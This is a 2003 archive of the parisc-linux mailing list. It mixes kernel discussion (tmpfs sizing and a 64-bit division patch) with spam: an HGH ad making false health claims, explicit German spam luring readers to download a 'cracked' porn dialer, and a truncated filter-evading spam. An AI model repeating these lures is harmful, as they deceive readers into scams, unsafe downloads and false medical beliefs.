Original-Received: from mail1.dreamwiz.com (mail1.dreamwiz.com [211.39.128.21])
	by mx-s0.dreamwiz.com (8.12.10/8.12.10) with ESMTP id h9O3U4ha097737
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 Oct 2003 12:30:04 +0900 (KST)
Original-Received: from localhost.dreamwiz.com (localhost.dreamwiz.com [127.0.0.1])
	by mail1.dreamwiz.com (8.12.10/8.12.10) with ESMTP id h9O3U4uN054936
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 Oct 2003 12:30:04 +0900 (KST)
X-DreamWiz-Vacation: bangjy@dreamwiz.com
Precedence: junk
Auto-Submitted: auto-generated
X-Mailer: DreamWiz Web-Mailer V2.00P02
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19917

Դϴ


From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] TMPFS test?
Date: Fri, 24 Oct 2003 08:29:06 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <3F97A05A000007B0@ocpmta1.freegates.net>
References: <Pine.LNX.4.58.0310232036170.21111@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622904 470 80.91.229.3 (22 Nov 2014 02:21:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 24 00:29:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 726734875
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 Oct 2003 00:29:19 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1ACvRb-0002p4-00; Fri, 24 Oct 2003 08:29:07 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 24 Oct 2003 08:29:06 +0200
In-Reply-To: <Pine.LNX.4.58.0310232036170.21111@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19918

Hello Max,
>>
>> I backport Randolph 2.6 works to 2.4.23-pre8-pa13 and test tmpfs which
seems
>> to works:
>
>Well, tmpfs works for me since ... 2.4.19 ?!
>
Sorry never heard before (the first time in a Randolph patch :) )

>> # bdf
[...]
>> tmpfs                   128048         0    128048   0% /var/tmp
>
>Okay, this says that you have 128MB allocated for tmpfs.
>This is correct, as tmpfs uses up to half of the physical ram if you
>don't specify the maximum size.
>Well, it doesn't 'allocate' the whole 128MB at once of course, it
>will just use as much as you put into the ram disk.

Clear

>[...]
>>
>> # cat /proc/meminfo
>>         total:    used:    free:  shared: buffers:  cached:
>> Mem:  26224640
>> 86798336 175448064        0  2965504 66297856
>> Swap: 256892928        0 256892928
>> MemTotal:       256100 kB
>> MemFree:        171336 kB
>> MemShared:           0 kB
>> Buffers:          2896 kB
>> Cached:          64744 kB
>> SwapCached:          0 kB
>> Active:          52432 kB
>> Inactive:        19836 kB
>> HighTotal:           0 kB
>> HighFree:            0 kB
>> LowTotal:       256100 kB
>> LowFree:        171336 kB
>> SwapTotal:      250872 kB
>> SwapFree:       250872 kB
>>
>> I just have a question: is it normal that /var/tmp is of about 256Mb when
>
>Mhh, perhaps I'm blind, but where do get the idea that tmpfs is using
>256MB and not (up to) 128MB ?

It comes from another commercial *nix based system which (always confusing
me and) uses /tmp to manage the physical memory + overall swap. [What is
confusing me is its global size (not only the available size as usual with
other fs) which can change as change the usage of swap?]
 
[..]
>As mentioned before (look at usr/src/linux/Documentation/filesystems/tmpfs.txt)

That is where I find how to use it but, my bad, I do not read all details.

Thanks for your help and patience,
    Joel


-------------------------------------------------------------------------
Tiscali ADSL: 3 mois GRATUITS! L'Internet rapide, c'est pour tout le monde.

http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Mitch Kline" <240qrdk@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] herbal solution
Date: Fri, 24 Oct 03 14:39:09 GMT
Lines: 109
Approved: news@gmane.org
Message-ID: <2$m$g-a0$6e-phb-f1z@dsh.0j6>
Reply-To: "Mitch Kline" <240qrdk@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="..B_BB30B5BE2"
X-Trace: ger.gmane.org 1416622905 475 80.91.229.3 (22 Nov 2014 02:21:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:45 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 24 10:33:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cuprel1.hp.com (cuprel1.hp.com [156.153.254.40])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7F407487E
	for <parisc-linux@parisc-linux.org>; Fri, 24 Oct 2003 10:33:19 -0600 (MDT)
Original-Received: from cm233-18.cuncablemas.com (unknown [200.79.233.18])
	by cuprel1.hp.com (Postfix) with SMTP id C93801370
	for <parisc-linux@parisc-linux.org>; Fri, 24 Oct 2003 09:33:03 -0700 (PDT)
Original-Received: from [77.184.25.20] by cm233-18.cuncablemas.com SMTP id K25rS3y565cuAj; Fri, 24 Oct 2003 14:39:09 -0300
X-Mailer: QUALCOMM Windows Eudora Version 5.1
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19919

--..B_BB30B5BE2
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<body text=3D"#FFFFFF" bgcolor=3D"#FFFFFF" link=3D"#FF0000" vlink=3D"#FF00=
00" alink=3D"#00CC00">
 
<center><table BORDER=3D0 CELLSPACING=3D0 COLS=3D1 WIDTH=3D"80=
%" >
<tr>
      <td><font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">As se=
en on NBC, 
        CBS, and CNN, and even Oprah!</font><font color=3D"#000000"> The h=
ealth</font></font> 
        <br>
        <font face=3D"Verdana" color=3D"#000000" size=3D"-1">discovery tha=
t actually 
        reverses aging while burning fat,</font> <br>
        <font face=3D"Verdana" color=3D"#000000" size=3D"-1">without dieti=
ng or exercise! 
        This proven discovery has even</font> <br>
        <font face=3D"Verdana" color=3D"#000000" size=3D"-1">been reported=
 on by major 
        Science Journals.</font> <br>
        <font face=3D"Verdana" size=3D"-1"><font color=3D"#000000">Forget =
aging and 
        dieting forever! </font><font color=3D"#3366FF">And It's Guarantee=
d!</font></font> 
        <br>
         
        <p><font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</f=
ont><font color=3D"#000000"> 
          Reduce body fat and build lean muscle WITHOUT EXERCISE!</font></=
font> 
          <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Enhance sexual performance</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Remove wrinkles and cellulite</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Lower blood pressure and improve cholesterol profile</font></fon=
t> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Improve sleep, vision and memory</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Restore hair color and growth</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Strengthen the immune system</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Increase energy and cardiac output</font></font> <br>
          <font face=3D"Verdana" size=3D"-1"><font color=3D"#3333FF">*</fo=
nt><font color=3D"#000000"> 
          Turn back your body's biological clock 10-20 years in 6 months!!=
!</font></font> 
          <br>
           
        <p><b><font face=3D"Verdana" color=3D"#000000"><a href=3D"http://w=
ww.healthsourceonline.biz/cgi-bin/cp-app.cgi?rrc=3DN&pg=3Dprod&ref=3Dhgh&a=
ffl=3D1980">visit 
          us here to learn more</a></font></b> <br>
           
<br> 
<br> 
<br> 
<br> 
<br> 
<BR><BR><BR><BR><BR><BR><BR>
<div align=3D"center">
  <table width=3D"573" cellspacing=3D"0" cellpadding=3D"5" border=3D"1" bo=
rdercolor=3D"#000000" style=3D"border-collapse:collapse">
    <tr> 
      <td bgcolor=3D"#ffffff"> 
        <p><span style=3D"font-family:arial; color:#666666; font-size:10px=
;">Why 
          was this email sent to you? At some point you registered or made=
 a purchase 
          on a Web site with privacy policies explaining that they may sha=
re your 
          information with partners who will send you valuable offers from=
 time 
          to time. </span></p>
        <p><span style=3D"font-family:arial; color:#666666; font-size:10px=
;">If 
          you no longer wish to be notified of the latest scientific break=
throughs 
          or valuable offers, you may simply choose to take yourself out o=
f the 
          database permanently by <a href=3D"http://www.healthsourceonline=
biz/delist.html">choosing 
          this link</a>.</span></p>
      </td>
    </tr>
  </table>
</div>

</table></center></body>
</html>

--..B_BB30B5BE2--



From - Thu Nov 08 21:29:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bank" <bankheketf@t-online.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Bitte dringend zurckrufen
Date: Fri, 24 Oct 2003 16:29:11 +0800
Lines: 172
Approved: news@gmane.org
Message-ID: <53a401c39a08$e64fef40$c46dcbcb@yscspifqlpg>
Reply-To: "Bank" <bankheketf@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_F53_8CC3_29FFAB6D.A8A43DB6"
X-Trace: ger.gmane.org 1416622905 478 80.91.229.3 (22 Nov 2014 02:21:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:45 +0000 (UTC)
To: "Administrator" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 24 12:08:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from t-online.de (unknown [207.66.119.218])
	by dsl2.external.hp.com (Postfix) with SMTP id 063F7487E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 24 Oct 2003 12:08:20 -0600 (MDT)
X-Priority: 3
User-Agent: AOL 8.0 for Windows US sub 230
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19920

------=_NextPart_F53_8CC3_29FFAB6D.A8A43DB6
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable


------=_NextPart_F53_8CC3_29FFAB6D.A8A43DB6
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<html>

<head>

<title>Hallo Leute</title>
</head>

<body>

<p class=3D"MsoNormal"><font size=3D"2" face=3D"Arial"><span style=3D"c=
olor: black">Hallo
Leute,<o:p>
</o:p>
<o:p>
</o:p>
</span></font></p>
<p class=3D"MsoNormal"><font size=3D"2" face=3D"Arial"><span style=3D"c=
olor: black">wir
haben es endlich geschafft !! Einen echten Hardcore-Porno Dialer zu kna=
cken !! <o:p>
</o:p>
<o:p>
</o:p>
</span></font></p>
<p class=3D"MsoNormal"><font size=3D"2" face=3D"Arial"><span style=3D"c=
olor: black">!!
Achtung:<span style=3D"mso-spacerun: yes">&nbsp; </span>Neues Update, H=
eute
Freitag den 24.10.2003 !! Um 02:13 Uhr !!</span><o:p>
&nbsp;</font></p>
<p class=3D"MsoNormal"><font size=3D"2" face=3D"Arial"><span style=3D"c=
olor: black">Die
gestrige Nacht-Schicht hat sich gelohnt und zahlt sich nun aus ! Das ne=
ue
kostenlose Update ist da. Du hast jetzt Zugang zu allen Bereichen !!! ;=
-)<span style=3D"mso-spacerun: yes">&nbsp;
</span><o:p>
</o:p>
</span><o:p>
</o:p>
</font></p>
<p class=3D"MsoNormal"><a target=3D"_blank" href=3D"http://www.dystars.=
com/user/hei/"><span style=3D"mso-bidi-font-size: 12.0pt"><font size=3D"=
2" face=3D"Arial" color=3D"#0000FF">Hier
geht's zur kostenlosen Pornoshow</font></span><font face=3D"Arial"><spa=
n style=3D"mso-bidi-font-size: 12.0pt"><font size=3D"2"><o:p></font></sp=
an></font></a><font size=3D"2"><span style=3D"mso-bidi-font-size: 12.0pt=
"><font face=3D"Arial"></o:p>
</font></span>
</font></p>
<p class=3D"MsoBodyText"><font size=3D"2" face=3D"Arial">Du kommst mit =
der neuen
Version von Crackdialer in =FCber 266.000 ILLEGALE Live Sex-Kan=E4le ru=
nd um die
Uhr rein !! Mit ca. 93.000 Hardcorebildern und ca. 48.500 Videos.<o:p>
</o:p>
</font></p>
<p class=3D"MsoBodyText"><font size=3D"2" face=3D"Arial">Wir haben Ihn =
schon selbst
ausprobiert und sagen dir es lohnt sich 100 % ;-) Er funktioniert<span =
style=3D"mso-spacerun: yes">&nbsp;
</span>ohne Probleme. Und du kannst Ihn kostenlos downloaden. Da sind e=
cht geile
Girls dabei die machen alles mit dir :-) Aber schau Sie dir lieber selb=
er an.<b><span style=3D"mso-bidi-font-size: 10.0pt"><o:p>
</o:p>
</span></b></font></p>
<p class=3D"MsoBodyText"><span style=3D"mso-bidi-font-size:10.0pt"><fon=
t size=3D"2" face=3D"Arial">Damit
halten wir den Ruf, die einzige Porno Hacker Crew im Netz zu sein, wo e=
s
wirklich klappt aus jedem Land - Wir w=FCnschen Euch viel Spass beim ab=
spritzen
!!! <o:p>
</o:p>
<o:p>
</o:p>
</font></span></p>
<p class=3D"MsoBodyText"><span style=3D"mso-bidi-font-size:10.0pt"><fon=
t size=3D"2" face=3D"Arial">Du
findest den Hardcore Crackdialer kostenlos auf unserer Seite <o:p>
</o:p>
</font></span><font size=3D"2" face=3D"Arial"><o:p>
</o:p>
</font></p>
<p class=3D"MsoBodyText"><font size=3D"2" face=3D"Arial"><span style=3D=
"mso-bidi-font-size: 10.0pt"><o:p></span></font><a target=3D"_blank" hre=
f=3D"http://http://www.dystars.com/user/hei/"><span style=3D"mso-bidi-fo=
nt-size: 12.0pt"><font size=3D"2" face=3D"Arial" color=3D"#0000FF">Hier
geht's zur kostenlosen Pornoshow</font></span></a></p>
<p class=3D"MsoBodyText">&nbsp;</p>
<p class=3D"MsoBodyText"><font face=3D"Arial"><font size=3D"2"><span st=
yle=3D"mso-bidi-font-size: 10.0pt">PS:
</span>Wir haben jetzt wieder 121 neue Hardcore Livecams geknackt und 3=
4 verschiedene Live Kontaktm=E4rkte. Mit =FCber
168.500 kostenlos Anzeigen von
Privaten Hobby Nutten und Sex Geile Singles.<o:p>
</o:p>
</font></font></p>
<p class=3D"MsoBodyText"><font size=3D"2" face=3D"Arial">Au=DFerdem hab=
e wir heute ganz
frisch 107 neue Live Hardcore Studios geknackt. Wo ihr bei echten Lives=
ex ,
Ficken und Gruppensex zusehen k=F6nnt. Ihr k=F6nnt live im Chat den Paa=
re sagen
was Sie machen sollen. Analsex, Blasen, Tittenfick oder ins Gesicht fix=
en usw.
Und vieles mehr. Lasst euch das ja nicht entgehen. Endgeil :-)&nbsp;
</font></p>
<p class=3D"MsoBodyText"><font size=3D"2" face=3D"Arial">!! Neu: Alle L=
ive-Studios
sind in Deutsch und 24 Std. lang erreichbar !!</o:p>
</font></p>
<p class=3D"MsoBodyText"><span lang=3D"IT" style=3D"mso-bidi-font-size:=
10.0pt;mso-ansi-language:
IT"><font size=3D"2" face=3D"Arial">Eure Porno Hacker Crew<o:p>
</o:p>
<o:p>
</o:p></font></span></p>
<p class=3D"MsoBodyText"><a target=3D"_blank" href=3D"http://http://www=
dystars.com/user/hei/"><span style=3D"mso-bidi-font-size: 12.0pt"><font=
 size=3D"2" face=3D"Arial" color=3D"#0000FF">Hier
geht's zur kostenlosen Pornoshow</font></span></a></p>
<p class=3D"MsoBodyText">&nbsp;</p>
<p class=3D"MsoBodyText">&nbsp;</p>
<p class=3D"MsoBodyText">&nbsp;</p>
<p class=3D"MsoBodyText"><font face=3D"Arial" size=3D"2">!! Spam Hinwei=
s !!</font></p>

<p class=3D"MsoBodyText"><font face=3D"Arial"><font size=3D"1">ACHTUNG:=
 Sie erhalten
diese eMail weil Sie sich in unseren Newsletter eingetragen haben. Fall=
s sich
jemand einen Scherz erlaubt hat und ihre Adresse ohne Ihr Wissen in den=

Newsletter eingetragen hat, so bitten wir Sie um Entschuldigung. Au=DFe=
r der
eMail Adresse speichern wir grunds=E4tzlich keine Daten. Um sich aus de=
m
Newsletter zu entfernen, </font><a href=3D"http://www.virtumundo.com/un=
sub/rewardmail/index.html" target=3D"_blank"><font size=3D"1">Klicken
Sie einfach&nbsp;hier</font></a><font size=3D"1"> Sie werden dann autom=
atisch aus
dem Newsletter entfernt. Danke</font></font></p>

<p class=3D"MsoBodyText">&nbsp;</p>

<p class=3D"MsoBodyText">&nbsp;</p>

<p class=3D"MsoBodyText">&nbsp;</p>

<p class=3D"MsoBodyText">&nbsp;</p>

</body>

</html>


------=_NextPart_F53_8CC3_29FFAB6D.A8A43DB6--



From - Thu Nov 08 21:29:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: teaching the kernel to do division
Date: Sat, 25 Oct 2003 11:13:14 +0000
Lines: 99
Approved: news@gmane.org
Message-ID: <3F9A5ACA.1010403@tiscali.be>
References: <20031023072157.GX24406@tausq.org> <20031023233935.GZ24406@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622905 482 80.91.229.3 (22 Nov 2014 02:21:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 25 05:13:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2759A48DC
	for <parisc-linux@lists.parisc-linux.org>; Sat, 25 Oct 2003 05:13:03 -0600 (MDT)
Original-Received: from [62.235.121.38] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1ADMLt-0000jS-Rm; Sat, 25 Oct 2003 13:13:01 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031024 Debian/1.5-2
X-Accept-Language: en
In-Reply-To: <20031023233935.GZ24406@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19921

Hi Rnadolph and all,

I reach to figure out what your pb is.
This new algo is Ok and the previous formula was definitely wrong (even 
in 2.4 :( ). So it could be interesting to fix it also.

For this I start from basic math:
	Dividend = divisor * quotient + reminder
ie	D = d * q + r (D, d, q, r: being integers)

I can also split D in two 32bits words and write
	D = D1 * 2^32 + D0

But I always have only one equation with two unknown var (q and r).

Is somebody knows where can I find the right solution?
(or should I find it back in objdump from :
uint32_t div64(uint64_t *n, uint32_t base)
{
         uint32_t rem;

         rem = *n % base;
         *n = *n / base;

         return rem;
})

Thanks in advance,
	Joel


Randolph Chung wrote:
>>does anyone want to look into fixing it, and/or writing an optimized
>>version of that function for pa? :-) it needs to do basically this (but
>>be standalone)
> 
> 
> Here's one way to do it, but maybe it can be optimized a bit. Any
> suggestions before i send it upstream?
> 
> randolph
> 
> Index: lib/div64.c
> ===================================================================
> RCS file: /var/cvs/linux-2.6/lib/div64.c,v
> retrieving revision 1.1
> diff -u -p -r1.1 div64.c
> --- lib/div64.c	29 Jul 2003 17:02:19 -0000	1.1
> +++ lib/div64.c	23 Oct 2003 23:36:08 -0000
> @@ -25,26 +25,28 @@
>  
>  uint32_t __div64_32(uint64_t *n, uint32_t base)
>  {
> -	uint32_t low, low2, high, rem;
> +        uint64_t rem = *n;
> +        uint64_t b = base;
> +        uint64_t res = 0, d = 1;
>  
> -	low   = *n   & 0xffffffff;
> -	high  = *n  >> 32;
> -	rem   = high % (uint32_t)base;
> -	high  = high / (uint32_t)base;
> -	low2  = low >> 16;
> -	low2 += rem << 16;
> -	rem   = low2 % (uint32_t)base;
> -	low2  = low2 / (uint32_t)base;
> -	low   = low  & 0xffff;
> -	low  += rem << 16;
> -	rem   = low  % (uint32_t)base;
> -	low   = low  / (uint32_t)base;
> +        if (b > 0) {
> +                while (b < rem) {
> +                        b <<= 1;
> +                        d <<= 1;
> +                }
> +        }
> +        
> +        do {
> +                if (rem >= b) {
> +                        rem -= b;
> +                        res += d;
> +                }
> +                b >>= 1;
> +                d >>= 1;
> +        } while (d);
>  
> -	*n = low +
> -		((uint64_t)low2 << 16) +
> -		((uint64_t)high << 32);
> -
> -	return rem;
> +        *n = res;
> +        return rem;
>  }
>  
>  EXPORT_SYMBOL(__div64_32);
> 



From - Thu Nov 08 21:29:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carmine Segura" <qitltzqaov@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] mutomorphism werebellum
Date: Sun, 26 Oct 03 09:58:48 GMT
Lines: 69
Approved: news@gmane.org
Message-ID: <epq-lmsi43-x$c1g$b23-1--i-3@oi9roz5d919n8>
Reply-To: "Carmine Segura" <qitltzqaov@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary=".E._.05AED"
X-Trace: ger.gmane.org 1416622906 483 80.91.229.3 (22 Nov 2014 02:21:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:46 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct 25 09:05:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pcp183048pcs.pnsakn01.nj.comcast.net (pcp183048pcs.pnsakn01.nj.comcast.net [68.46.130.100])
	by dsl2.external.hp.com (Postfix) with SMTP id 3FC1A48ED
	for <parisc-linux@parisc-linux.org>; Sat, 25 Oct 2003 09:05:34 -0600 (MDT)
Original-Received: from [164.199.161.161] by pcp183048pcs.pnsakn01.nj.comcast.net id zmigkECiOxUm; Sun, 26 Oct 2003 09:58:48 +0000
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19922

--.E._.05AED
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html><body text=3D"#000000" link=3D"#000000" vlink=3D"#000000" alink=3D"#=
000000">
<div align=3D"center"><!--transit--><strong><font size=3D"5" face=3D"=
Arial, Helvetica, sans-serif">Th<!--actinide-->ey
 hav<!--antipode-->e no<!--bindery--> id<!--canoe-->ea y<!=
--epitaph-->ou are wa<!--complement-->tch<!--doctrinaire-->ing.</f=
ont><!--antithetic--></strong> 
<table width=3D"541" height=3D"97" border=3D"0" cellpadding=3D"0" cellspac=
ing=3D"0" bgcolor=3D"#9F0000" class=3D"border"><!--9th-->
<tr><!--coroutine--><td height=3D"97" align=3D"center" valign=3D"middle=
" class=3D"txt" style=3D"padding-left:15; padding-right:15"><!--=
